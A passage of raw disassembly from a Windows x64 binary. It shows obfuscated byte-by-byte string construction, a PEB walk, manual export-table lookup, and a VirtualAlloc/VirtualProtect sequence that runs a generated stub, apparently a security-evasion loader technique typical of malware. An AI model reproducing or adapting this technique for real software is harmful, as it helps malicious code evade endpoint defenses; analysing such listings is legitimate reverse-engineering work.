mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x488]
call fcn.140036564
mov byte [rbp + 0x492], al
mov r9d, edi
lea r8d, [rdi - 9]
mov dl, 0x75
lea rcx, [rbp + 0x488]
call fcn.140036564
mov byte [rbp + 0x493], al
mov r9d, edi
lea r8d, [rdi - 8]
mov dl, 0x61
lea rcx, [rbp + 0x488]
call fcn.140036564
mov byte [rbp + 0x494], al
mov r9d, edi
lea r8d, [rdi - 7]
mov dl, 0x6c
lea rcx, [rbp + 0x488]
call fcn.140036564
mov byte [rbp + 0x495], al
mov r9d, edi
lea r8d, [rdi - 6]
mov dl, 0x4d
lea rcx, [rbp + 0x488]
call fcn.140036564
mov byte [rbp + 0x496], al
mov r9d, edi
lea r8d, [rdi - 5]
mov dl, 0x65
lea rcx, [rbp + 0x488]
call fcn.140036564
mov byte [rbp + 0x497], al
mov r9d, edi
lea r8d, [rdi - 4]
mov dl, 0x6d
lea rcx, [rbp + 0x488]
call fcn.140036564
mov byte [rbp + 0x498], al
mov r9d, edi
mov r8, r13
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x488]
call fcn.140036564
mov byte [rbp + 0x499], al
mov r9d, edi
mov r8, rbx
mov dl, WSAStartup
lea rcx, [rbp + 0x488]
call fcn.140036564
mov byte [rbp + 0x49a], al
mov r9d, edi
lea r8d, [rdi - 1]
mov dl, 0x79
lea rcx, [rbp + 0x488]
call fcn.140036564
mov byte [rbp + 0x49b], al
xor eax, eax
mov byte [rbp + 0x49c], al
mov r12d, eax
lea ebx, [rdi - 0x12]
mov r9, rdi
mov r8, r12
mov dl, byte [rbp + r12 + 0x489]
lea rcx, [rbp + 0x488]
call fcn.140036564
mov byte [rbp + r12 + 0x489], al
add r12, rbx
cmp r12, rdi
jb 0x14002b809
xor r14d, r14d
mov byte [rbp + 0x49c], r14b
mov byte [rbp + 0x128], gethostname
lea ebx, [r14 + 9]
mov r9d, ebx
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x128]
call fcn.140035cf8
mov byte [rbp + 0x129], al
mov r9d, ebx
lea r13d, [r14 + 1]
mov r8d, r13d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x128]
call fcn.140035cf8
mov byte [rbp + 0x12a], al
mov r9d, ebx
lea r8d, [r14 + 2]
mov dl, 0x64
lea rcx, [rbp + 0x128]
call fcn.140035cf8
mov byte [rbp + 0x12b], al
mov r9d, ebx
lea r8d, [r14 + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x128]
call fcn.140035cf8
mov byte [rbp + 0x12c], al
mov r9d, ebx
lea r8d, [r14 + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x128]
call fcn.140035cf8
mov byte [rbp + reloc.WLDAP32.dll_Ordinal_301], al
mov r9d, ebx
lea r8d, [r14 + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x128]
call fcn.140035cf8
mov byte [rbp + 0x12e], al
mov r9d, ebx
lea r8d, [r14 + 6]
mov dl, 0x64
lea rcx, [rbp + 0x128]
call fcn.140035cf8
mov byte [rbp + 0x12f], al
mov r9d, ebx
lea r8d, [r14 + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x128]
call fcn.140035cf8
mov byte [rbp + 0x130], al
mov r9d, ebx
lea r8d, [r14 + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x128]
call fcn.140035cf8
mov byte [rbp + 0x131], al
xor eax, eax
mov byte [rbp + 0x132], al
lea ebx, [rax + 0x11]
mov r9d, 9
mov r8, r14
mov dl, byte [rbp + r14 + 0x129]
lea rcx, [rbp + 0x128]
call fcn.140035cf8
mov byte [rbp + r14 + 0x129], al
add r14, r13
cmp r14, 9
jb 0x14002b948
xor ecx, ecx
mov byte [rbp + 0x132], cl
mov rax, qword gs:[0x60]
test rax, rax
lea r14d, [rcx + 0x17]
lea r13d, [rcx + 0x10]
je 0x14002bf2c
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x78], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x78], ecx
movsxd rcx, eax
inc rcx
call fcn.140094f74
mov r9, rax
mov qword [rbp - 0x60], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x60]
test r8d, r8d
jle 0x14002ba1f
lea esi, [rax + 1]
mov r10d, esi
mov r14, qword [rsp + 0x68]
mov ecx, r10d
cmp word [r14 + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r14 + rdx*2]
mov byte [r9 + rdx], al
add r10d, esi
add rdx, rsi
cmp rdx, r8
jl 0x14002b9f1
mov esi, reloc.WS2_32.dll_sendto
lea r14d, [rsi + 3]
mov dword [rsp + 0x78], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x78]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bc500
mov rcx, qword [rbp - 0x60]
xor r10d, r10d
mov byte [rcx + rdi], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x14002ba7b
mov rax, rcx
lea r9, [rbp + 0x129]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x14002ba74
add rax, r11
test edx, edx
jne 0x14002ba5f
test r8d, r8d
cmove edi, r11d
call fcn.140094cf0
test dil, dil
jne 0x14002bce9
mov rax, qword [rbp - 0x78]
mov rax, qword [rax]
mov qword [rbp - 0x78], rax
cmp rax, qword [rbp - 0x70]
jne 0x14002b9a8
jmp 0x14002bf27
mov rcx, qword [rbp - 0x78]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x14002b5db
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002b5db
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14002b5db
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14002b5db
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x70], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r9
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x60], rax
test rax, rax
je 0x14002b5db
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x5a9]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14002bb34
inc rax
test edi, edi
jne 0x14002bb1f
xor r9d, r9d
test r8d, r8d
je 0x14002bb4a
inc rdx
cmp rdx, qword [rbp - 0x60]
jb 0x14002bb0e
jmp 0x14002b5db
mov rax, qword [rbp - 0x70]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14002b5db
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x14002b5db
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x78], rax
call fcn.140094c90
or dword [rbp + 0x20c94], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x1f910]
call fcn.140036bc4
lea rcx, [rbp + 0x1f910]
call fcn.1400365dc
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x60], r8
xor eax, eax
mov edi, eax
lea r12d, [rax + 1]
lea rcx, [rbp + 0x1f910]
call fcn.1400365dc
mov eax, eax
mov qword [rbp + rdi*8 + 0x3a490], rax
add rdi, r12
cmp rdi, 0x200
jl 0x14002bbf0
mov r12d, 0x1000
mov r8d, r12d
lea rdx, [rbp + 0x3a490]
mov rdi, qword [rbp - 0x78]
mov rcx, rdi
call fcn.1400bc500
mov eax, dword [rsp + 0x60]
mov dword [0x1400e8364], eax
add rdi, qword [rbp - 0x60]
movsd xmm0, qword [0x1400e8360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400e8368]
mov word [rdi + 8], ax
mov al, byte [0x1400e836a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xe18], eax
lea r9, [rbp + 0xe18]
mov r8d, r15d
mov edx, r12d
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x218]
mov r8, qword [rbp - 0x80]
mov rdx, qword [rbp + 0xbd0]
mov rcx, qword [rbp - 0x20]
call rdi
mov dword [rbp - 0x68], eax
lea r9, [rbp + 0xe18]
mov r8d, dword [rbp + 0xe18]
mov edx, r12d
mov rdi, qword [rbp - 0x78]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, r12d
xor edx, edx
mov rcx, rdi
call fcn.1400bcba0
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x1400e8364], eax
jmp 0x14002b5df
mov rcx, qword [rbp - 0x78]
mov rcx, qword [rcx + 0x20]
xor edi, edi
test rcx, rcx
je 0x14002bf27
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002bf27
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14002bf27
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14002bf27
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x70], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov edx, edi
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x60], rax
test rax, rax
je 0x14002bf27
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x489]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14002bd7b
inc rax
test edi, edi
jne 0x14002bd66
xor edi, edi
test r8d, r8d
je 0x14002bd90
inc rdx
cmp rdx, qword [rbp - 0x60]
jb 0x14002bd55
jmp 0x14002bf27
mov rax, qword [rbp - 0x70]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14002bf27
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x14002bf27
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x78], rax
call fcn.140094c90
or dword [rbp + 0x22024], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x20ca0]
call fcn.140036bc4
lea rcx, [rbp + 0x20ca0]
call fcn.1400365dc
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x60], r8
xor eax, eax
lea r15d, [rax + 1]
lea rcx, [rbp + 0x20ca0]
call fcn.1400365dc
mov eax, eax
mov qword [rbp + rdi*8 + 0x3b490], rax
add rdi, r15
cmp rdi, 0x200
jl 0x14002be34
mov r8d, 0x1000
lea rdx, [rbp + 0x3b490]
mov rdi, qword [rbp - 0x78]
mov rcx, rdi
call fcn.1400bc500
mov eax, dword [rsp + 0x60]
mov dword [0x1400e8364], eax
add rdi, qword [rbp - 0x60]
movsd xmm0, qword [0x1400e8360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400e8368]
mov word [rdi + 8], ax
mov al, byte [0x1400e836a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xe8c], eax
lea r9, [rbp + 0xe8c]
lea r15d, [rax + 0x20]
mov r8d, r15d
mov edx, 0x1000
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r9d, 0x8000
lea r8, [rbp + 0xcf0]
lea rdx, [rbp + 0xd00]
mov rcx, qword [rbp - 0x20]
call rdi
lea r9, [rbp + 0xe8c]
mov r8d, dword [rbp + 0xe8c]
mov edx, 0x1000
mov rdi, qword [rbp - 0x78]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rdi
call fcn.1400bcba0
lea edx, [r15 - 0x15]
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x1400e8364], eax
mov edi, reloc.WS2_32.dll_send
mov ecx, 0x1000
mov qword [rbp + 0xce8], rcx
mov rax, qword [rbp - 0x48]
mov qword [rbp + 0xd08], rax
call fcn.140094f74
mov qword [rbp - 0x80], rax
mov r8, qword [rbp + 0xce8]
xor edx, edx
mov rcx, rax
call fcn.1400bcba0
mov rax, qword [rbp + 0xce8]
mov qword [rbp + 0x218], rax
mov rax, qword [rbp + 0xd08]
mov qword [rbp - 0x48], rax
mov eax, 3
mov byte [rbp + 0x578], al
mov r9, rsi
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x578]
call fcn.1400364e8
mov byte [rbp + 0x579], al
mov r9, rsi
mov r8d, 1
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x578]
call fcn.1400364e8
mov byte [rbp + 0x57a], al
mov r9, rsi
mov r8d, 2
mov dl, 0x57
lea rcx, [rbp + 0x578]
call fcn.1400364e8
mov byte [rbp + 0x57b], al
mov r9, rsi
mov r8d, 3
mov dl, WSAStartup
lea rcx, [rbp + 0x578]
call fcn.1400364e8
mov byte [rbp + 0x57c], al
mov r9, rsi
mov r8d, 4
mov dl, 0x69
lea rcx, [rbp + 0x578]
call fcn.1400364e8
mov byte [rbp + 0x57d], al
mov r9, rsi
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x578]
call fcn.1400364e8
mov byte [rbp + 0x57e], al
mov r9, rsi
mov r8d, 6
mov dl, 0x65
lea rcx, [rbp + 0x578]
call fcn.1400364e8
mov byte [rbp + 0x57f], al
mov r9, rsi
mov r8d, 7
mov dl, 0x56
lea rcx, [rbp + 0x578]
call fcn.1400364e8
mov byte [rbp + 0x580], al
mov r9, rsi
mov r8d, 8
mov dl, 0x69
lea rcx, [rbp + 0x578]
call fcn.1400364e8
mov byte [rbp + 0x581], al
mov r9, rsi
mov r8d, 9
mov dl, WSAStartup
lea rcx, [rbp + 0x578]
call fcn.1400364e8
mov byte [rbp + 0x582], al
mov r9, rsi
mov r8d, 0xa
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x578]
call fcn.1400364e8
mov byte [rbp + 0x583], al
mov r9, rsi
mov r8d, ntohs
mov dl, 0x75
lea rcx, [rbp + 0x578]
call fcn.1400364e8
mov byte [rbp + 0x584], al
mov r9, rsi
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0x578]
call fcn.1400364e8
mov byte [rbp + 0x585], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x6c
lea rcx, [rbp + 0x578]
call fcn.1400364e8
mov byte [rbp + 0x586], al
mov r9, rsi
mov r8d, select
mov dl, 0x4d
lea rcx, [rbp + 0x578]
call fcn.1400364e8
mov byte [rbp + 0x587], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, 0x65
lea rcx, [rbp + 0x578]
call fcn.1400364e8
mov byte [rbp + 0x588], al
mov r9, rsi
mov r8, r13
mov dl, 0x6d
lea rcx, [rbp + 0x578]
call fcn.1400364e8
mov byte [rbp + 0x589], al
mov r9, rsi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x578]
call fcn.1400364e8
mov byte [rbp + 0x58a], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_select
mov dl, WSAStartup
lea rcx, [rbp + 0x578]
call fcn.1400364e8
mov byte [rbp + 0x58b], al
mov r9, rsi
mov r8, rdi
mov dl, 0x79
lea rcx, [rbp + 0x578]
call fcn.1400364e8
mov byte [rbp + 0x58c], al
xor eax, eax
mov byte [rbp + 0x58d], al
mov edi, eax
lea ebx, [rax + 1]
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi + 0x579]
lea rcx, [rbp + 0x578]
call fcn.1400364e8
mov byte [rbp + rdi + 0x579], al
add rdi, rbx
cmp rdi, rsi
jb 0x14002c1c6
xor edi, edi
mov byte [rbp + 0x58d], dil
mov byte [rbp + 0x138], 0x78
lea ebx, [rdi + 9]
mov r9d, ebx
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x138]
call fcn.140035cf8
mov byte [rbp + 0x139], al
mov r9d, ebx
lea r12d, [rdi + 1]
mov r8d, r12d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x138]
call fcn.140035cf8
mov byte [rbp + 0x13a], al
mov r9d, ebx
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0x138]
call fcn.140035cf8
mov byte [rbp + 0x13b], al
mov r9d, ebx
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x138]
call fcn.140035cf8
mov byte [rbp + 0x13c], al
mov r9d, ebx
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x138]
call fcn.140035cf8
mov byte [rbp + 0x13d], al
mov r9d, ebx
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x138]
call fcn.140035cf8
mov byte [rbp + 0x13e], al
mov r9d, ebx
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0x138]
call fcn.140035cf8
mov byte [rbp + 0x13f], al
mov r9d, ebx
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x138]
call fcn.140035cf8
mov byte [rbp + 0x140], al
mov r9d, ebx
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x138]
call fcn.140035cf8
mov byte [rbp + 0x141], al
xor eax, eax
mov byte [rbp + 0x142], al
lea ebx, [rdi + 0x11]
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x139]
lea rcx, [rbp + 0x138]
call fcn.140035cf8
mov byte [rbp + rdi + 0x139], al
add rdi, r12
cmp rdi, 9
jb 0x14002c301
xor edi, edi
mov byte [rbp + 0x142], dil
mov rax, qword gs:[0x60]
test rax, rax
lea r12d, [rdi + 0x15]
je 0x14002c452
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x78], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
mov dword [rsp + 0x78], edi
movsxd rcx, eax
inc rcx
call fcn.140094f74
mov r9, rax
mov qword [rbp - 0x60], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x60]
test r8d, r8d
jle 0x14002c3d1
lea r12d, [rax + 1]
mov r10d, r12d
mov r14, qword [rsp + 0x68]
mov ecx, r10d
cmp word [r14 + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r14 + rdx*2]
mov byte [r9 + rdx], al
add r10d, r12d
add rdx, r12
cmp rdx, r8
jl 0x14002c3a2
mov r14d, reloc.WS2_32.dll_socket
lea r12d, [r14 - 2]
mov dword [rsp + 0x78], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x78]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bc500
mov rcx, qword [rbp - 0x60]
xor r10d, r10d
mov byte [rcx + rdi], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x14002c42d
mov rax, rcx
lea r9, [rbp + 0x139]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x14002c426
add rax, r11
test edx, edx
jne 0x14002c411
test r8d, r8d
cmove edi, r11d
call fcn.140094cf0
test dil, dil
jne 0x14002c915
mov rax, qword [rbp - 0x78]
mov rax, qword [rax]
mov qword [rbp - 0x78], rax
xor edi, edi
cmp rax, qword [rbp - 0x70]
jne 0x14002c35c
mov dword [rbp - 0x68], edi
mov rcx, qword [rbp - 0x80]
call fcn.140094cf0
cmp dword [rbp - 0x68], edi
jl 0x14002cd98
mov byte [rbp + 0x4d0], 0x56
mov edi, reloc.WS2_32.dll_send
mov r9d, edi
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x4d0]
call fcn.140036564
mov byte [rbp + 0x4d1], al
mov r9d, edi
lea r8d, [rdi - 0x12]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x4d0]
call fcn.140036564
mov byte [rbp + 0x4d2], al
mov r9d, edi
lea r8d, [rdi - 0x11]
mov dl, 0x46
lea rcx, [rbp + 0x4d0]
call fcn.140036564
mov byte [rbp + 0x4d3], al
mov r9d, edi
lea r8d, [rdi - 0x10]
mov dl, WSAStartup
lea rcx, [rbp + 0x4d0]
call fcn.140036564
mov byte [rbp + 0x4d4], al
mov r9d, edi
lea r8d, [rdi - 0xf]
mov dl, 0x65
lea rcx, [rbp + 0x4d0]
call fcn.140036564
mov byte [rbp + 0x4d5], al
mov r9d, edi
lea r8d, [rdi - 0xe]
mov dl, 0x65
lea rcx, [rbp + 0x4d0]
call fcn.140036564
mov byte [rbp + 0x4d6], al
mov r9d, edi
lea r8d, [rdi - 0xd]
mov dl, 0x56
lea rcx, [rbp + 0x4d0]
call fcn.140036564
mov byte [rbp + 0x4d7], al
mov r9d, edi
lea r8d, [rdi - 0xc]
mov dl, 0x69
lea rcx, [rbp + 0x4d0]
call fcn.140036564
mov byte [rbp + 0x4d8], al
mov r9d, edi
lea r8d, [rdi - 0xb]
mov dl, WSAStartup
lea rcx, [rbp + 0x4d0]
call fcn.140036564
mov byte [rbp + 0x4d9], al
mov r9d, edi
lea r8d, [rdi - 0xa]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x4d0]
call fcn.140036564
mov byte [rbp + 0x4da], al
mov r9d, edi
lea r8d, [rdi - 9]
mov dl, 0x75
lea rcx, [rbp + 0x4d0]
call fcn.140036564
mov byte [rbp + 0x4db], al
mov r9d, edi
lea r8d, [rdi - 8]
mov dl, 0x61
lea rcx, [rbp + 0x4d0]
call fcn.140036564
mov byte [rbp + 0x4dc], al
mov r9d, edi
lea r8d, [rdi - 7]
mov dl, 0x6c
lea rcx, [rbp + 0x4d0]
call fcn.140036564
mov byte [rbp + 0x4dd], al
mov r9d, edi
lea r8d, [rdi - 6]
mov dl, 0x4d
lea rcx, [rbp + 0x4d0]
call fcn.140036564
mov byte [rbp + 0x4de], al
mov r9d, edi
lea r8d, [rdi - 5]
mov dl, 0x65
lea rcx, [rbp + 0x4d0]
call fcn.140036564
mov byte [rbp + 0x4df], al
mov r9d, edi
lea r8d, [rdi - 4]
mov dl, 0x6d
lea rcx, [rbp + 0x4d0]
call fcn.140036564
mov byte [rbp + 0x4e0], al
mov r9d, edi
mov r8, r13
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x4d0]
call fcn.140036564
mov byte [rbp + 0x4e1], al
mov r9d, edi
mov r8, rbx
mov dl, WSAStartup
lea rcx, [rbp + 0x4d0]
call fcn.140036564
mov byte [rbp + 0x4e2], al
mov r9d, edi
lea r8d, [rdi - 1]
mov dl, 0x79
lea rcx, [rbp + 0x4d0]
call fcn.140036564
mov byte [rbp + 0x4e3], al
xor eax, eax
mov byte [rbp + 0x4e4], al
mov r12d, eax
lea r13d, [rdi - 0x12]
mov r9, rdi
mov r8, r12
mov dl, byte [rbp + r12 + 0x4d1]
lea rcx, [rbp + 0x4d0]
call fcn.140036564
mov byte [rbp + r12 + 0x4d1], al
add r12, r13
cmp r12, rdi
jb 0x14002c680
xor edi, edi
mov byte [rbp + 0x4e4], dil
mov byte [rbp + 0x148], gethostname
lea r12d, [rdi + 9]
mov r9d, r12d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x148]
call fcn.140035cf8
mov byte [rbp + 0x149], al
mov r9d, r12d
mov rsi, r13
mov r8, r13
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x148]
call fcn.140035cf8
mov byte [rbp + 0x14a], al
mov r9d, r12d
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0x148]
call fcn.140035cf8
mov byte [rbp + 0x14b], al
mov r9d, r12d
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x148]
call fcn.140035cf8
mov byte [rbp + 0x14c], al
mov r9d, r12d
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x148]
call fcn.140035cf8
mov byte [rbp + 0x14d], al
mov r9d, r12d
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x148]
call fcn.140035cf8
mov byte [rbp + 0x14e], al
mov r9d, r12d
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0x148]
call fcn.140035cf8
mov byte [rbp + 0x14f], al
mov r9d, r12d
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x148]
call fcn.140035cf8
mov byte [rbp + 0x150], al
mov r9d, r12d
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x148]
call fcn.140035cf8
mov byte [rbp + 0x151], al
xor eax, eax
mov byte [rbp + 0x152], al
lea r12d, [rdi + 0x15]
lea r13d, [rdi + 0x10]
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x149]
lea rcx, [rbp + 0x148]
call fcn.140035cf8
mov byte [rbp + rdi + 0x149], al
add rdi, rsi
cmp rdi, 9
jb 0x14002c7c2
xor edi, edi
mov byte [rbp + 0x152], dil
mov rax, qword gs:[0x60]
test rax, rax
lea esi, [rdi + 0x14]
je 0x14002cd98
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x78], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
mov dword [rsp + 0x78], edi
movsxd rcx, eax
inc rcx
call fcn.140094f74
mov r9, rax
mov qword [rbp - 0x60], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x60]
test r8d, r8d
jle 0x14002c88f
lea esi, [rax + 1]
mov r10d, esi
mov r14, qword [rsp + 0x68]
mov ecx, r10d
cmp word [r14 + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r14 + rdx*2]
mov byte [r9 + rdx], al
add r10d, esi
add rdx, rsi
cmp rdx, r8
jl 0x14002c861
mov esi, reloc.WS2_32.dll_sendto
lea r14d, [rsi + 3]
mov dword [rsp + 0x78], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x78]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bc500
mov rcx, qword [rbp - 0x60]
xor r10d, r10d
mov byte [rdi + rcx], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x14002c8eb
mov rax, rcx
lea r9, [rbp + 0x149]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x14002c8e4
add rax, r11
test edx, edx
jne 0x14002c8cf
test r8d, r8d
cmove edi, r11d
call fcn.140094cf0
test dil, dil
jne 0x14002cb5a
mov rax, qword [rbp - 0x78]
mov rax, qword [rax]
mov qword [rbp - 0x78], rax
cmp rax, qword [rbp - 0x70]
je 0x14002cd98
xor edi, edi
jmp 0x14002c81c
mov rcx, qword [rbp - 0x78]
mov rcx, qword [rcx + 0x20]
xor edi, edi
test rcx, rcx
je 0x14002c452
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002c452
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14002c452
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14002c452
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x70], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov edx, edi
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x60], rax
test rax, rax
je 0x14002c452
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x579]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14002c9a7
inc rax
test edi, edi
jne 0x14002c992
xor edi, edi
test r8d, r8d
je 0x14002c9bc
inc rdx
cmp rdx, qword [rbp - 0x60]
jb 0x14002c981
jmp 0x14002c452
mov rax, qword [rbp - 0x70]
